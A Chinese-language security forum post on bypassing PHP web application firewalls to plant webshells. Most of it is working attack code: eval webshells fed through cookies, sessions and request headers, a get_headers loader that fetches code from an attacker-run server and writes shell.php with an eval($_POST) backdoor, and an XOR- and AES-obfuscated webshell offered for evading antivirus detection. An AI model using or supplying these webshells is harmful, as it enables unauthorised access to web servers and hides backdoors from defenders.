安全矩阵

 找回密码
 立即注册
搜索
查看: 1517|回复: 0

PHP利用某些函数bypass waf探讨

[复制链接]

65

主题

65

帖子

241

积分

中级会员

Rank: 3Rank: 3

积分
241
发表于 2022-7-23 20:52:18 | 显示全部楼层 |阅读模式
本帖最后由 PEnticE 于 2022-7-23 20:53 编辑

PHP利用某些函数bypass waf探讨 (qq.com)

前言:前几天写了一篇文章,由黑到白 这篇文章中用到echo的一个特性去一步一步写马

看师傅们的评论然后去研究了下原因 学到了很多
比如linux写shell少了
POST的原因和解决思路如下还有就是base64不存在的原因以及wget和nc为啥反弹不了的原因 ![image.png](#clientId=ueb3af065-4112-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=825&id=u293d22d8&margin=%5Bobject%20Object%5D&name=image.png&originHeight=773&originWidth=920&originalType=binary&ratio=1&rotation=0&showTitle=false&size=52179&status=done&style=none&taskId=u9c6e36c3-db37-4eb5-805f-39ea18d240e&title=&width=981.3333333333334) 也在这里发觉到了一个师傅说的一个问题点,
_POST 空格以及$这些字符都写不进去

也恰好看到了微信公众号里面有个师傅写了篇文章

链接如下
https://mp.weixin.qq.com/s/hRwYtDZ-dqqznhS3LdSxUA
里面提到了一个tips
利用get_headers绕过了waf 顿时引来了自己的兴趣,

因为目前的很多waf是基于post包和get包来拦截的

如果我把参数内容可控到header头里面不就能稳稳的过了嘛

就开始研究了下这种tips用于实战,发觉还是蛮有趣的这里分享给大家

正文原理的话:
个人理解的话感觉跟中转马有点像 这是这个可以突破的限制条件更多。
1.代码层次过滤了post以及get这种绕过蛮简单的 直接把参数去session
或者cookie中或者headers中即可绕过了
  1. #cookie传参
  2. <?php
  3. eval(base64_decode($_COOKIE["PHPSESSID"]));
  4. ?>
  5.   
  6. #session传参
  7.   <?php

  8. eval($_SESSION['dmeo']=base64_decode($_COOKIE["PHPSESSID"]));

  9. ?>
复制代码




2.代码层过滤了$ _ POST GET内容思路方法1
利用getallheadrs去绕过
适用于php版本大于5.5以上的
  1. <p></p>

  2. <div aria-label="代码段 小部件" class="cke_widget_wrapper cke_widget_block cke_widget_codeSnippet cke_widget_selected" contenteditable="false" data-cke-display-name="代码段" data-cke-filter="off" data-cke-widget-id="355" data-cke-widget-wrapper="1" role="region" tabindex="-1">
  3. <pre class="cke_widget_element" data-cke-widget-data="%7B%22code%22%3A%22%3C%3Fphp%5Cn%C2%A0%C2%A0session_start()%3B%5Cn%5Cneval(getallheaders()%5B'Demo'%5D)%3B%5Cn%5Cn%3F%3E%5Cn%22%2C%22classes%22%3Anull%7D" data-cke-widget-keep-attr="0" data-cke-widget-upcasted="1" data-widget="codeSnippet"><code class="hljs"><?php
  4.   session_start();

  5. eval(getallheaders()['Demo']);

  6. ?>
  7. </code></pre>
  8. <span class="cke_reset cke_widget_drag_handler_container" style="background:rgba(220,220,220,0.5);background-image:url(https://csdnimg.cn/release/blog_editor_html/release2.1.7/ckeditor/plugins/widget/images/handle.png);display:none;"><img class="cke_reset cke_widget_drag_handler" data-cke-widget-drag-handler="1" height="15" role="presentation" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" title="点击并拖拽以移动" width="15"></span></div>

  9. <p>5.5</p>
复制代码

以下的好像不存在这个函数

5.5以上的
思路方法2
利用get_headers 服务器内容如下
(后面的base64里面的可变成想要的如冰蝎的base64加密也可)
  1. <?php
  2. header('assert');
  3. header("file_put_contents('shell.php',base64_decode('PD9waHAgZXZhbCgkX1BPU1RbJzEnXSk7ID8+'))");
复制代码


马内容如下 适用于7.1以下
这个用的assert 如果要高版本适用的话直接指定eval和assert即可
  1. <?php

  2. $a=get_headers('http://服务器地址/1.php');
  3. $b=str_replace([':',' '],"",$a[6]);
  4. $x=str_replace([':',' '],"",$a[7]);
  5. $b($x);
  6. ?>
复制代码

  1. <?php

  2. $a=get_headers('http://服务器地址/1.php');
  3. $x=str_replace([':',' '],"",$a[7]);
  4. eval($x);
  5. ?>
复制代码


然后访问3.php即可成功创建shell.php

d盾查杀效果1这里没做免杀 想做静动态的免杀的话 其实也是可以的稍微改下即可
可以结合这个加密算法改进下即可
动态即可过
给大家抛砖引玉扔一个加密算法+shellcode静态免杀的  
动态可过60跟这个改即可
这个是加密算法a.php
  1. <?php
  2. $key1 = '123456';
  3. $key = "password";
  4. $fun = $_GET['func'];
  5. for($i=0;$i<strlen($fun);$i++){
  6.     $fun[$i] = $fun[$i]^$key[$i+1&7];
  7. }
  8. echo $fun;
  9. $encrypt = openssl_encrypt($fun, 'AES-128-ECB', $key1, 0);
  10. echo "加密后: ".$encrypt;
  11. ?>
复制代码


这个是shellcode的 shell.php
  1. <?php

  2. function b(){
  3.     $x = "password";
  4.     $key1 = '123456';
  5.     $fun = openssl_decrypt($_GET['func'], 'AES-128-ECB', $key1, 0);
  6.     for($i=0;$i<strlen($fun);$i++){
  7.     $z= $fun[$i] ;
  8.     $fun[$i] =$z^$x[$i+1&7];
  9. }
  10. return $fun;
  11. }

  12. function a(){
  13.   eval(b());
  14. }

  15. a();
复制代码





实战
结合追加的思路来组合打
一步一步写内容进去即可完成了
多次追加把内容写进去后
然后进行访问即获取到shell了


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-3-29 01:38 , Processed in 0.013254 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表